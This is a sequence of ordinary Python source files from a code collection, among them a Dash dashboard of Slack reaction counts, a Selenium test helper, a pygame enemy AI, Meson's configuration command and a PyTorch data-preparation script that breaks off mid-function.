\t\"width\": \"20%\", \n \t'display': 'inline-block',\n \t'vertical-align': 'middle',\n \t'horizontal-align': 'middle',\n \t'marginRight': 70,\n \t'marginTop': 20,\n \t'float': 'right',\n \t'textAlign': 'center'\n \t}\n )\n\t\n])\n\n\n# Tab 2 - Reactions per day\n\ntab_two = html.Div(className = 'row', children=[\n\t\t\n\thtml.Div([\n \n # Graph 1\n dcc.Graph(\n id='graph2',\n )],\n\t\tstyle={\n\t\t\t'marginLeft': 70,\n\t\t\t'marginTop': 20,\n\t\t\t'width': '70%',\n\t\t\t'display': 'inline-block',\n\t\t\t'vertical-align': 'middle',\n\t\t\t'float': 'left'\n\t\t\t}\n\t),\n\t\n\t\n\thtml.Div([\n\t\n\t\t# Subtitle\n \thtml.P('Show number of reactions by...', \n \t\tstyle={\n \t\t'textAlign': 'center',\n \t\t'color': colors['text']\n \t\t\t}\n \t\t),\n \t\t\n \t# Dropdown\n \t\tdcc.Dropdown(id=\"selected-value2\",\n options=options,\n multi=True,\n value=[\"overall\"],\n placeholder=\"Reactions by...\",\n clearable=True\n ),\n \n\t\t],\n style={\n \t\"width\": \"20%\", \n \t'display': 'inline-block',\n \t'vertical-align': 'middle',\n \t'horizontal-align': 'middle',\n \t'marginRight': 70,\n \t'marginTop': 20,\n \t'float': 'right',\n \t'textAlign': 'center'\n \t}\n )\n\t\n])\n\n\n###########################################\n# Dashboard Layout\n###########################################\n\napp.layout = html.Div([\n \t\n\t# Tabs\n dcc.Tabs(id=\"tabs\", value='tab-1', children=[\n dcc.Tab(label='Reactions per Module/Channel', value='tab-1', children=[tab_one]),\n dcc.Tab(label='Reactions per day', value='tab-2', children=[tab_two]),\n ]),\n html.Div(id='tabs-content')\n])\n\n###########################################\n# Call backs\n###########################################\n\n# Tab 1\n\n@app.callback(\n Output('graph1', 'figure'),\n [Input('selected-value1', 'value')]) \ndef update_figure(selected):\n\tif selected==\"Module\":\n\t\tfigure = {\n\t\t\t\t'data': [trace1,trace2],\n\t\t 'layout': {\n\t\t\t\t'title':f\"Number of reactions in Slack per module in MSDS\",\n\t\t\t\t'xaxis':{'title': 'Module'},\n\t\t\t\t'yaxis':{'title': f'Number of reactions'},\n\t\t\t\t'margin':{'l': 50, 'b': 50, 't': 50, 'r': 50},\n\t\t\t\t'hovermode':'closest'}\n\t\t\t\t}\n\t\treturn figure\n\tif selected==\"Channel\":\n\t\tfigure={'data': [trace3],\n\t\t 'layout': {\n\t\t\t\t'title':f\"Number of reactions in Slack per channel in MSDS\",\n\t\t\t\t'xaxis':{'title': 'Channels (Hover for description)','ticks':\" \", 'showticklabels':False},\n\t\t\t\t'yaxis':{'title': f'Number of reactions'},\n\t\t\t\t'margin':{'l': 50, 'b': 50, 't': 50, 'r': 50},\n\t\t\t\t'hovermode':'closest',\n\t\t\t\t'plot_bgcolor': 'white',\n 'paper_bgcolor': 'white'\n }\n\t\t\t\t}\n\t\treturn figure\n\t\t\n\t\t\n# Tab 2\n\n@app.callback(\n Output('graph2', 'figure'),\n [Input('selected-value2', 'value')]) \ndef update_figure(selected):\n\ttrace = []\n\tfor course in selected:\n\t\n\t\tif course == \"overall\":\n\t\t\tdf = messages\n\t\t\tcolor = colors_ds[\"overall\"]\n\t\t\n\t\telse:\n\t\t\tdf = messages[messages['course']==course]\n\t\t\tcolor = colors_ds[df.module.unique()[0]]\n\t\t\n\t\tdf = df.groupby(['date']).sum().reset_index()\n\t\tdf['dow'] = pd.to_datetime(df['date'], format=\"%Y/%m/%d\").dt.day_name()\n\t\tt = [f\"Reactions: {num_reac}
    Date: {date}
    dow: {dow}\" for (num_reac,date,dow) in zip(df.count_reactions.values,df.date.values,df.dow.values)]\n\t\t\n\t\tx = df.date.values\n\t\ty = df.count_reactions.values\n\t\t\n\t\ttrace.append(\n\t\tgo.Scatter(\n x=x,\n y=y,\n text=t,\n mode='lines+markers', \n name=course,\n opacity=0.8,\n marker={\n 'size': 3,\n 'color': color,\n },\n hoverinfo='text',\n line={'color': color}\n ) \n )\n\tfigure = {\n\t\t\t\t'data': trace,\n\t\t\t\t'layout': {\n\t\t\t\t\t'title': f\"Number of reactions per day\",\n \t'xaxis': {'title': 'Days'},\n \t'yaxis': {'title': f'Number of reactions', 'range':[-100, 900]},\n \t'margin': {'l': 50, 'b': 50, 't': 50, 'r': 50},\n \t'legend': {'x': 1, 'y': 1},\n \t'hovermode': 'closest',\n\t\t\t\t\t'plot_bgcolor': 'white',\n \t'paper_bgcolor': 'white'\n }\n }\n\treturn figure\n\n\n###########################################\n# Main\n###########################################\n\nif __name__ == '__main__':\n app.run_server(port=8895)\n\n","sub_path":"Dashboard/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":10651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"377949203","text":"from selenium import webdriver\nimport time\n\ndef shenhea(self):\n '''这是注释'''\n driver=self.driver\n driver.find_element_by_xpath(\"/html/body/div[2]/div[1]/ul/li[3]/a/span[1]\").click()\n time.sleep(2)\n driver.find_element_by_id('tjtcsh').click()\n checkboxs=driver.find_elements_by_css_selector('input[type=checkbox]')\n for checkbox in checkboxs:\n checkbox.click()\n time.sleep(2)\n driver.find_elements_by_css_selector('input[type=checkbox]').pop(1).click()\n time.sleep(2)\n driver.find_element_by_class_name('btn1').click()\n A=driver.current_window_handle\n driver.switch_to_window(A)\n driver.find_element_by_xpath('/html/body/div[3]/div[2]/div/div[2]/a[1]').click()\n","sub_path":"Towin/Test_Case/pubilc/shenhe.py","file_name":"shenhe.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"565320124","text":"# есть строка переданная в качестве квери параметров\n# \"name=Amanda=sssss&age=32&&salary=1500¤cy=quro\". Преобразовать эту\n# строку в словарь где ключем должно быть значение перед = а значение пары\n# значение после равно {name: Amanda......}\nparameter = \" name=Amanda=sssss&age=32&&salary=1500¤cy=quro \"\nfixed_parameter = parameter.strip()\npairs_dict = {}\npairs = fixed_parameter.split(\"&\")\nfor pair in pairs:\n i = pair.split(\"=\", maxsplit=1)\n if i[0] != '':\n pairs_dict[i[0]] = i[1]\nprint(pairs_dict)\n","sub_path":"lesson4/homework4/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"362327830","text":"import game_engine\nimport collisions\nimport pygame\n\ndef lookout_ai(self):\n player = [game_engine.object_list[\"player\"][pid] for pid in game_engine.object_list[\"player\"]][0]\n x = self.x\n y = self.y\n if player.x == self.x:\n dy = player.y - self.y\n for i in range(0,abs(dy)+1):\n if dy > 0:\n y = self.y + i\n else:\n y = self.y - i\n if game_engine.tilemap[self.x][y] or collisions.checkByType(self.x,y,\"grass\"):\n break\n #if collision.checkByType(self.x,y,\"player\"):\n #game over buddy\n if player.y == self.y:\n dx = player.x - self.x\n for i in range(0,abs(dx)+1):\n if dx > 0:\n x = self.x + i\n else:\n x = self.x - i\n if game_engine.tilemap[x][self.y] or collisions.checkByType(x,self.y,\"grass\"):\n break\n #if collision.checkByType(x,self.y,\"player\"):\n #game over buddy\n\ndef pacer_ai(self):\n if self.facing == \"right\":\n self.move(1,0)\n if self.facing == \"left\":\n self.move(-1,0)\n if self.facing == \"up\":\n self.move(0,-1)\n if self.facing == \"down\":\n self.move(0,1)\n lookout_ai(self)\n\nai_list = {\n \"lookout\" : lookout_ai,\n \"pacer\" : pacer_ai\n}\n\nENEMY_IMAGE = pygame.image.load(\"img/Rocket.png\")\n\nclass Enemy:\n def __init__(self,x,y,options):\n self.x = x\n self.y = y\n self.image = ENEMY_IMAGE\n if options:\n self.ai = ai_list[options[\"ai_type\"]]\n self.facing = options[\"facing\"]\n else:\n self.facing = \"up\"\n self.ai = lookout_ai\n\n def update(self):\n self.ai(self)\n \n def draw(self,screen):\n screen.blit(self.image,(self.x*32, self.y*32))\n \n def move( self, dx, dy ):\n new1 = self.x + self.image.get_width()\n new2 = self.y + self.image.get_height()\n \"\"\"Check if moving will move out of bounds of the screen\"\"\"\n can_move = (not game_engine.tilemap[self.x + dx][self.y + dy]) \\\n and (not collisions.checkByType(self.x + dx, self.y + dy, \"boulder\"))\n if can_move:\n self.x += dx\n self.y += dy\n","sub_path":"enemy.py","file_name":"enemy.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"101295072","text":"from chainercv import transforms\n\n\nclass Flip(object):\n def __call__(self, in_data):\n img, bbox, label = in_data\n img, params = transforms.random_flip(\n img, x_random=True, return_param=True)\n x_flip = params['x_flip']\n bbox = transforms.flip_bbox(\n bbox, img.shape[1:], x_flip=x_flip)\n return img, bbox, label\n","sub_path":"transforms/flip.py","file_name":"flip.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"466259658","text":"# Copyright 2014-2016 The Meson development team\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nfrom . import (coredata, mesonlib, build)\nfrom . import mintro\n\ndef add_arguments(parser):\n coredata.register_builtin_arguments(parser)\n parser.add_argument('builddir', nargs='?', default='.')\n parser.add_argument('--clearcache', action='store_true', default=False,\n help='Clear cached state (e.g. found dependencies)')\n\n\ndef make_lower_case(val):\n if isinstance(val, bool):\n return str(val).lower()\n elif isinstance(val, list):\n return [make_lower_case(i) for i in val]\n else:\n return str(val)\n\n\nclass ConfException(mesonlib.MesonException):\n pass\n\n\nclass Conf:\n def __init__(self, build_dir):\n self.build_dir = build_dir\n if not os.path.isdir(os.path.join(build_dir, 'meson-private')):\n raise ConfException('Directory %s does not seem to be a Meson build directory.' % build_dir)\n self.build = build.load(self.build_dir)\n self.coredata = coredata.load(self.build_dir)\n\n def clear_cache(self):\n self.coredata.deps = {}\n\n def set_options(self, options):\n self.coredata.set_options(options)\n\n def save(self):\n # Only called if something has changed so overwrite unconditionally.\n coredata.save(self.coredata, self.build_dir)\n # We don't write the build file because any changes to it\n # are erased when Meson is executed the next time, i.e. when\n # Ninja is run.\n\n @staticmethod\n def print_aligned(arr):\n if not arr:\n return\n\n titles = {'name': 'Option', 'descr': 'Description', 'value': 'Current Value', 'choices': 'Possible Values'}\n\n name_col = [titles['name'], '-' * len(titles['name'])]\n value_col = [titles['value'], '-' * len(titles['value'])]\n choices_col = [titles['choices'], '-' * len(titles['choices'])]\n descr_col = [titles['descr'], '-' * len(titles['descr'])]\n\n choices_found = False\n for opt in arr:\n name_col.append(opt['name'])\n descr_col.append(opt['descr'])\n if isinstance(opt['value'], list):\n value_col.append('[{0}]'.format(', '.join(make_lower_case(opt['value']))))\n else:\n value_col.append(make_lower_case(opt['value']))\n if opt['choices']:\n choices_found = True\n if isinstance(opt['choices'], list):\n choices_col.append('[{0}]'.format(', '.join(make_lower_case(opt['choices']))))\n else:\n choices_col.append(make_lower_case(opt['choices']))\n else:\n choices_col.append('')\n\n col_widths = (max([len(i) for i in name_col], default=0),\n max([len(i) for i in value_col], default=0),\n max([len(i) for i in choices_col], default=0),\n max([len(i) for i in descr_col], default=0))\n\n for line in zip(name_col, value_col, choices_col, descr_col):\n if choices_found:\n print(' {0:{width[0]}} {1:{width[1]}} {2:{width[2]}} {3:{width[3]}}'.format(*line, width=col_widths))\n else:\n print(' {0:{width[0]}} {1:{width[1]}} {3:{width[3]}}'.format(*line, width=col_widths))\n\n def print_options(self, title, options):\n print('\\n{}:'.format(title))\n if not options:\n print(' No {}\\n'.format(title.lower()))\n arr = []\n for k in sorted(options):\n o = options[k]\n d = o.description\n v = o.printable_value()\n c = o.choices\n arr.append({'name': k, 'descr': d, 'value': v, 'choices': c})\n self.print_aligned(arr)\n\n def print_conf(self):\n print('Core properties:')\n print(' Source dir', self.build.environment.source_dir)\n print(' Build dir ', self.build.environment.build_dir)\n\n dir_option_names = ['bindir',\n 'datadir',\n 'includedir',\n 'infodir',\n 'libdir',\n 'libexecdir',\n 'localedir',\n 'localstatedir',\n 'mandir',\n 'prefix',\n 'sbindir',\n 'sharedstatedir',\n 'sysconfdir']\n test_option_names = ['errorlogs',\n 'stdsplit']\n core_option_names = [k for k in self.coredata.builtins if k not in dir_option_names + test_option_names]\n\n dir_options = {k: o for k, o in self.coredata.builtins.items() if k in dir_option_names}\n test_options = {k: o for k, o in self.coredata.builtins.items() if k in test_option_names}\n core_options = {k: o for k, o in self.coredata.builtins.items() if k in core_option_names}\n\n self.print_options('Core options', core_options)\n self.print_options('Backend options', self.coredata.backend_options)\n self.print_options('Base options', self.coredata.base_options)\n # TODO others\n self.print_options('Compiler options', self.coredata.compiler_options.build)\n self.print_options('Directories', dir_options)\n self.print_options('Project options', self.coredata.user_options)\n self.print_options('Testing options', test_options)\n\n\ndef run(options):\n coredata.parse_cmd_line_options(options)\n builddir = os.path.abspath(os.path.realpath(options.builddir))\n c = None\n try:\n c = Conf(builddir)\n save = False\n if len(options.cmd_line_options) > 0:\n c.set_options(options.cmd_line_options)\n if not c.build.environment.is_cross_build():\n # TODO think about cross and command-line interface.\n c.coredata.compiler_options.host = c.coredata.compiler_options.build\n coredata.update_cmd_line_file(builddir, options)\n save = True\n elif options.clearcache:\n c.clear_cache()\n save = True\n else:\n c.print_conf()\n if save:\n c.save()\n mintro.update_build_options(c.coredata, c.build.environment.info_dir)\n mintro.write_meson_info_file(c.build, [])\n except ConfException as e:\n print('Meson configurator encountered an error:')\n if c is not None and c.build is not None:\n mintro.write_meson_info_file(c.build, [e])\n raise e\n return 0\n","sub_path":"mesonbuild/mconf.py","file_name":"mconf.py","file_ext":"py","file_size_in_byte":7110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"278688993","text":"__author__ = 'bliss'\n\nimport sys\nfrom herovii import create_app\nfrom herovii.models import db\n\napp = create_app({'DEBUG': True})\n\n\n\n# test for route\n@app.route('/-ddd/')\ndef hello_world(uid):\n return 'Hello World!'+' '+str(uid)\n\nif __name__ == '__main__':\n app.run()\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"499720451","text":"#!/usr/bin/env python3\n\"\"\"\nBased on:\nhttps://pytorch.org/tutorials/beginner/blitz/cifar10_tutorial.html\nhttps://blog.floydhub.com/long-short-term-memory-from-zero-to-hero-with-pytorch/\n\"\"\"\n\nimport argparse\nimport copy\nimport functools\nimport json\nimport math\nimport multiprocessing\nimport os\nfrom os import path\nimport pickle\nimport random\nimport sys\nimport time\n\nimport numpy as np\nfrom numpy.lib import recfunctions\nimport torch\n\nimport cl_args\nimport defaults\nimport models\nimport utils\n\n\n# The threshold of the new throughout to the old throughput above which a\n# a training example will not be considered. I.e., the throughput must have\n# decreased to less than this fraction of the original throughput for a\n# training example to be considered.\nNEW_TPT_TSH = 0.925\n# Set to false to parse the simulations in sorted order.\nSHUFFLE = True\n# The number of times to log progress during one epoch.\nLOGS_PER_EPC = 5\n# The number of validation passes per epoch.\nVALS_PER_EPC = 15\n\n\ndef scale_fets(dat, scl_grps, standardize=False):\n \"\"\"\n Returns a copy of dat with the columns normalized. If standardize\n is True, then the scaling groups are normalized to a mean of 0 and\n a variance of 1. If standardize is False, then the scaling groups\n are normalized to the range [0, 1]. Also returns an array of shape\n (dat_all[0].shape[1], 2) where row i contains the scaling\n parameters of column i in dat. If standardize is True, then the\n scaling parameters are the mean and standard deviation of that\n column's scaling group. If standardize is False, then the scaling\n parameters are the min and max of that column's scaling group.\n \"\"\"\n fets = dat.dtype.names\n assert fets is not None, \\\n f\"The provided array is not structured. dtype: {dat.dtype.descr}\"\n assert len(scl_grps) == len(fets), \\\n f\"Invalid scaling groups ({scl_grps}) for dtype ({dat.dtype.descr})!\"\n\n # Determine the unique scaling groups.\n scl_grps_unique = set(scl_grps)\n # Create an empty array to hold the min and max values (i.e.,\n # scaling parameters) for each scaling group.\n scl_grps_prms = np.empty((len(scl_grps_unique), 2), dtype=\"float64\")\n # Function to reduce a structured array.\n rdc = (lambda fnc, arr:\n fnc(np.array(\n [fnc(arr[fet]) for fet in arr.dtype.names if fet != \"\"])))\n # Determine the min and the max of each scaling group.\n for scl_grp in scl_grps_unique:\n # Determine the features in this scaling group.\n scl_grp_fets = [fet for fet_idx, fet in enumerate(fets)\n if scl_grps[fet_idx] == scl_grp]\n # Extract the columns corresponding to this scaling group.\n fet_values = dat[scl_grp_fets]\n # Record the min and max of these columns.\n scl_grps_prms[scl_grp] = [\n np.mean(utils.clean(fet_values))\n if standardize else rdc(np.min, fet_values),\n np.std(utils.clean(fet_values))\n if standardize else rdc(np.max, fet_values)\n ]\n\n # Create an empty array to hold the min and max values (i.e.,\n # scaling parameters) for each column (i.e., feature).\n scl_prms = np.empty((len(fets), 2), dtype=\"float64\")\n # Create an empty array to hold the rescaled features.\n new = np.empty(dat.shape, dtype=dat.dtype)\n # Rescale each feature based on its scaling group's min and max.\n for fet_idx, fet in enumerate(fets):\n # Look up the parameters for this feature's scaling group.\n prm_1, prm_2 = scl_grps_prms[scl_grps[fet_idx]]\n # Store this min and max in the list of per-column scaling parameters.\n scl_prms[fet_idx] = np.array([prm_1, prm_2])\n fet_values = dat[fet]\n if standardize:\n # prm_1 is the mean and prm_2 is the standard deviation.\n scaled = (\n # Handle the rare case where the standard deviation is\n # 0 (meaning that all of the feature values are the\n # same), in which case return an array of zeros.\n np.zeros(\n fet_values.shape, dtype=fet_values.dtype) if prm_2 == 0\n else (fet_values - prm_1) / prm_2)\n else:\n # prm_1 is the min and prm_2 is the max.\n scaled = (\n # Handle the rare case where the min and the max are\n # the same (meaning that all of the feature values are\n # the same.\n np.zeros(\n fet_values.shape, dtype=fet_values.dtype) if prm_1 == prm_2\n else utils.scale(\n fet_values, prm_1, prm_2, min_out=0, max_out=1))\n new[fet] = scaled\n\n return new, scl_prms\n\n\ndef process_sim(idx, total, net, sim_flp, tmp_dir, warmup_prc, keep_prc,\n sequential=False):\n \"\"\"\n Loads and processes data from a single simulation.\n\n For logging purposes, \"idx\" is the index of this simulation amongst \"total\"\n simulations total. Uses \"net\" to determine the relevant input and output\n features. \"sim_flp\" is the path to the simulation file. The parsed results\n are stored in \"tmp_dir\". Drops the first \"warmup_prc\" percent of packets.\n Of the remaining packets, only \"keep_prc\" percent are kept. See\n utils.save_tmp_file() for the format of the results file.\n\n Returns the path to the results file and a descriptive utils.Sim object.\n \"\"\"\n sim, dat = utils.load_sim(\n sim_flp, msg=f\"{idx + 1:{f'0{len(str(total))}'}}/{total}\")\n if dat is None:\n return None\n\n # Drop the first few packets so that we consider steady-state behavior only.\n dat = dat[math.floor(dat.shape[0] * warmup_prc / 100):]\n # Split each data matrix into two separate matrices: one with the input\n # features only and one with the output features only. The names of the\n # columns correspond to the feature names in in_spc and out_spc.\n assert net.in_spc, \"{sim_flp}: Empty in spec.\"\n assert net.out_spc, \"{sim_flp}: Empty out spec.\"\n dat_in = recfunctions.repack_fields(dat[net.in_spc])\n dat_out = recfunctions.repack_fields(dat[net.out_spc])\n # Convert output features to class labels.\n dat_out_raw = dat_out\n dat_out = net.convert_to_class(sim, dat_out)\n\n # If the results contains NaNs or Infs, then discard this\n # simulation.\n def has_non_finite(arr):\n for fet in arr.dtype.names:\n if not np.isfinite(arr[fet]).all():\n print(\n f\" Simulation {sim_flp} has NaNs of Infs in feature \"\n f\"{fet}\")\n return True\n return False\n if has_non_finite(dat_in) or has_non_finite(dat_out):\n return None\n\n # Verify data.\n assert dat_in.shape[0] == dat_out.shape[0], \\\n f\"{sim_flp}: Input and output should have the same number of rows.\"\n # Find the uniques classes in the output features and make sure\n # that they are properly formed. Assumes that dat_out is a\n # structured numpy array containing a column named \"class\".\n for cls in set(dat_out[\"class\"].tolist()):\n assert 0 <= cls < net.num_clss, f\"Invalid class: {cls}\"\n\n # Transform the data as required by this specific model.\n dat_in, dat_out, dat_out_raw, dat_out_oracle, scl_grps = net.modify_data(\n sim, dat_in, dat_out, dat_out_raw,\n # Must put the column name in a list for the result to be\n # a structured array.\n dat_out_oracle=dat[[\"mathis model label-ewma-alpha0.01\"]],\n sequential=sequential)\n\n # Select a fraction of the data.\n num_rows = dat_in.shape[0]\n num_to_pick = math.ceil(num_rows * keep_prc / 100)\n idxs = np.random.random_integers(0, num_rows - 1, num_to_pick)\n dat_in = dat_in[idxs]\n dat_out = dat_out[idxs]\n dat_out_raw = dat_out_raw[idxs]\n dat_out_oracle = dat_out_oracle[idxs]\n\n # To avoid errors with sending large matrices between processes,\n # store the results in a temporary file.\n dat_flp = path.join(tmp_dir, f\"{path.basename(sim_flp)[:-4]}_tmp.npz\")\n utils.save_tmp_file(\n dat_flp, dat_in, dat_out, dat_out_raw, dat_out_oracle, scl_grps)\n return dat_flp, sim\n\n\ndef make_datasets(net, args, dat=None):\n \"\"\"\n Parses the simulation files in data_dir and transforms them (e.g., by\n scaling) into the correct format for the network.\n\n If num_sims is not None, then this function selects the first num_sims\n simulations only. If shuffle is True, then the simulations will be parsed in\n sorted order. Use num_sims and shuffle=True together to simplify debugging.\n \"\"\"\n if dat is None:\n # Find simulations.\n sims = args[\"sims\"]\n if not sims:\n dat_dir = args[\"data_dir\"]\n sims = [\n path.join(dat_dir, sim) for sim in sorted(os.listdir(dat_dir))]\n if SHUFFLE:\n # Set the random seed so that multiple parallel instances of\n # this script see the same random order.\n utils.set_rand_seed()\n random.shuffle(sims)\n num_sims = args[\"num_sims\"]\n if num_sims is not None:\n num_sims_actual = len(sims)\n assert num_sims_actual >= num_sims, \\\n (f\"Insufficient simulations. Requested {num_sims}, but only \"\n f\"{num_sims_actual} available.\")\n sims = sims[:num_sims]\n tot_sims = len(sims)\n print(f\"Found {tot_sims} simulations.\")\n\n # Prepare temporary output directory. The output of parsing each\n # simulation it written to disk instead of being transfered\n # between processes because sometimes the data is too large for\n # Python to send between processes.\n tmp_dir = args[\"tmp_dir\"]\n if tmp_dir is None:\n tmp_dir = args[\"out_dir\"]\n if not path.isdir(tmp_dir):\n print(f\"Temporary directory does not exist. Creating it: {tmp_dir}\")\n os.makedirs(tmp_dir)\n\n # Parse simulations.\n sims_args = [\n (idx, tot_sims, net, sim, tmp_dir, args[\"warmup_percent\"],\n args[\"keep_percent\"])\n for idx, sim in enumerate(sims)]\n if defaults.SYNC or args[\"sync\"]:\n dat_all = [process_sim(*sim_args) for sim_args in sims_args]\n else:\n with multiprocessing.Pool() as pol:\n # Each element of dat_all corresponds to a single simulation.\n dat_all = pol.starmap(process_sim, sims_args)\n # Throw away results from simulations that could not be parsed.\n dat_all = [dat for dat in dat_all if dat is not None]\n print(f\"Discarded {tot_sims - len(dat_all)} simulations!\")\n assert dat_all, \"No valid simulations found!\"\n dat_all, sims = zip(*dat_all)\n\n dat_all = [utils.load_tmp_file(flp) for flp in dat_all]\n else:\n dat_all, sims = dat\n\n # Validate data.\n dim_in = None\n dtype_in = None\n dim_out = None\n dtype_out = None\n scl_grps = None\n for dat_in, dat_out, _, _, scl_grps_cur in dat_all:\n dim_in_cur = len(dat_in.dtype.names)\n dim_out_cur = len(dat_out.dtype.names)\n dtype_in_cur = dat_in.dtype\n dtype_out_cur = dat_out.dtype\n if dim_in is None:\n dim_in = dim_in_cur\n if dim_out is None:\n dim_out = dim_out_cur\n if dtype_in is None:\n dtype_in = dtype_in_cur\n if dtype_out is None:\n dtype_out = dtype_out_cur\n if scl_grps is None:\n scl_grps = scl_grps_cur\n assert dim_in_cur == dim_in, \\\n f\"Invalid input feature dim: {dim_in_cur} != {dim_in}\"\n assert dim_out_cur == dim_out, \\\n f\"Invalid output feature dim: {dim_out_cur} != {dim_out}\"\n assert dtype_in_cur == dtype_in, \\\n f\"Invalud input dtype: {dtype_in_cur} != {dtype_in}\"\n assert dtype_out_cur == dtype_out, \\\n f\"Invalid output dtype: {dtype_out_cur} != {dtype_out}\"\n assert (scl_grps_cur == scl_grps).all(), \\\n f\"Invalid scaling groups: {scl_grps_cur} != {scl_grps}\"\n assert dim_in is not None, \"Unable to compute input feature dim!\"\n assert dim_out is not None, \"Unable to compute output feature dim!\"\n assert dtype_in is not None, \"Unable to compute input dtype!\"\n assert dtype_out is not None, \"Unable to compute output dtype!\"\n assert scl_grps is not None, \"Unable to compte scaling groups!\"\n\n # Build combined feature lists.\n dat_in_all, dat_out_all, dat_out_all_raw, dat_out_all_oracle, _ = zip(\n *dat_all)\n # Determine the number of flows in each example.\n num_flws = [sim.unfair_flws + sim.fair_flws for sim in sims]\n num_flws = [\n np.array([num_flws_] * dat_in.shape[0], dtype=[(\"num_flws\", \"int\")])\n for num_flws_, dat_in in zip(num_flws, dat_in_all)]\n num_flws = np.concatenate(num_flws, axis=0)\n # Stack the arrays.\n dat_in_all = np.concatenate(dat_in_all, axis=0)\n dat_out_all = np.concatenate(dat_out_all, axis=0)\n dat_out_all_raw = np.concatenate(dat_out_all_raw, axis=0)\n dat_out_all_oracle = np.concatenate(dat_out_all_oracle, axis=0)\n\n # Convert all instances of -1 (feature value unknown) to the mean\n # for that feature.\n bad_fets = []\n for fet in dat_in_all.dtype.names:\n fet_values = dat_in_all[fet]\n if (fet_values == -1).all():\n bad_fets.append(fet)\n continue\n dat_in_all[fet] = np.where(\n fet_values == -1, np.mean(fet_values), fet_values)\n assert (dat_in_all[fet] != -1).all(), f\"Found \\\"-1\\\" in feature: {fet}\"\n assert not bad_fets, f\"Features contain only \\\"-1\\\": {bad_fets}\"\n\n # Scale input features. Do this here instead of in process_sim()\n # because all of the features must be scaled using the same\n # parameters.\n dat_in_all, prms_in = scale_fets(dat_in_all, scl_grps, args[\"standardize\"])\n\n # # Check if any of the data is malformed and discard features if\n # # necessary.\n # fets = []\n # for fet in dat_in_all.dtype.names:\n # fet_values = dat_in_all[fet]\n # if ((not np.isnan(fet_values).any()) and\n # (not np.isinf(fet_values).any())):\n # fets.append(fet)\n # else:\n # print(f\"Discarding: {fet}\")\n # dat_in_all = dat_in_all[fets]\n\n return (\n dat_in_all, dat_out_all, dat_out_all_raw, dat_out_all_oracle, num_flws,\n prms_in)\n\n\ndef gen_data(net, args, dat_flp, scl_prms_flp, dat=None, save_data=True):\n \"\"\" Generates training data and optionally saves it. \"\"\"\n dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws, scl_prms = (\n make_datasets(net, args, dat))\n # Save the processed data so that we do not need to process it again.\n if save_data:\n utils.save(\n dat_flp, dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws)\n # Save scaling parameters.\n print(f\"Saving scaling parameters: {scl_prms_flp}\")\n with open(scl_prms_flp, \"w\") as fil:\n json.dump(scl_prms.tolist(), fil)\n return dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws\n\n\ndef split_data(net, dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws,\n bch_trn, bch_tst, use_val=False):\n \"\"\"\n Divides the input and output data into training, validation, and\n testing sets and constructs data loaders.\n \"\"\"\n print(\"Creating train/val/test data...\")\n #assert len(dat_out.shape) == 1\n #assert len(dat_out_raw.shape) == 1\n #assert len(dat_out_oracle.shape) == 1\n #assert len(num_flws.shape) == 1\n\n fets = dat_in.dtype.names\n # Destroy columns names to make merging the matrices easier. I.e.,\n # convert from structured to regular numpy arrays.\n dat_in = utils.clean(dat_in)\n dat_out = utils.clean(dat_out)\n dat_out_raw = utils.clean(dat_out_raw)\n dat_out_oracle = utils.clean(dat_out_oracle)\n num_flws = utils.clean(num_flws)\n # Shuffle the data to ensure that the training, validation, and\n # test sets are uniformly sampled. To shuffle all of the arrays\n # together, we must first merge them into a combined matrix.\n num_cols_in = dat_in.shape[1]\n merged = np.concatenate(\n (dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws), axis=1)\n np.random.shuffle(merged)\n dat_in = merged[:, :num_cols_in]\n dat_out = merged[:, num_cols_in]\n dat_out_raw = merged[:, num_cols_in + 1]\n dat_out_oracle = merged[:, num_cols_in + 2]\n num_flws = merged[:, num_cols_in + 3]\n\n # 50% for training, 20% for validation, 30% for testing.\n num_exps = dat_in.shape[0]\n num_val = int(round(num_exps * 0.2)) if use_val else 0\n num_tst = int(round(num_exps * 0.3))\n print((f\" Data - train: {num_exps - num_val - num_tst}, val: {num_val}, \"\n f\"test: {num_tst}\"))\n # Validation.\n dat_val_in = dat_in[:num_val]\n dat_val_out = dat_out[:num_val]\n # Testing.\n dat_tst_in = dat_in[num_val:num_val + num_tst]\n dat_tst_out = dat_out[num_val:num_val + num_tst]\n dat_tst_out_raw = dat_out_raw[num_val:num_val + num_tst]\n dat_tst_out_oracle = dat_out_oracle[num_val:num_val + num_tst]\n num_flws_tst = num_flws[num_val:num_val + num_tst]\n # Training.\n dat_trn_in = dat_in[num_val + num_tst:]\n dat_trn_out = dat_out[num_val + num_tst:]\n\n # Create the dataloaders.\n dataset_trn = utils.Dataset(fets, dat_trn_in, dat_trn_out)\n ldr_trn = (\n torch.utils.data.DataLoader(\n dataset_trn, batch_size=bch_tst, shuffle=True, drop_last=False)\n if isinstance(net, models.SvmSklearnWrapper)\n else torch.utils.data.DataLoader(\n dataset_trn,\n 